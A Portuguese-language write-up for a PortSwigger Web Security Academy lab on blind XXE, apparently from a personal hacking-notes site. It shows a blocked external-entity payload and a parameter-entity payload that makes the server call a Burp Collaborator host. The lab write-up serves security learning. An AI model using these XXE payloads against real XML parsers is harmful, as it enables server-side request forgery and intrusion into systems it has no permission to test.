> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# XXE Cega com Entidades de Parâmetro XML Fora de Banda

Notas sobre XXE Cega com Entidades de Parâmetro XML Fora de Banda para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### XXE cego com interação fora de banda via entidades de parâmetros XML

A funcionalidade Check stock do laboratório analisa entradas XML. Ela **não mostra** valores inesperados e **bloqueia** entidades externas XML padrão no lado do servidor.

\*\* Objetivo\*\*/ Explorar a vulnerabilidade XXE de forma cega, forçando o analisador XML a realizar uma consulta externa (DNS / HTTP) para um serviço OOB (por exemplo, Burp Collaborator / Oastify) usando uma \*\* entidade de parâmetro\*\*.

1/) Entidade externa clássica (bloqueada)

Payload enviado — uma entidade de sistema referenciada a partir de uma URL externa, então chamada a partir de `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**Resultado observado:** o servidor retorna o erro "Entities are not allowed for security reasons" — a declaração de entidades externas convencionais está bloqueada.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f2f6fb455bd2952545dc82325adfd98215127bc%2F%7B5613B489-FDD2-4751-9492-545DC89FAD97%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) Tentativa com entidade de parâmetro (abordagem OOB)

Para contornar o bloqueio, testamos o uso de uma \*\* entidade de parâmetro\*\* — a declaração usa `%` e então injeta seu conteúdo na DTD:

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6340f1962d20941892c2f1d09d5caf4cc12d953%2F%7B894A66A0-64BD-4859-8B93-FC91B2A90CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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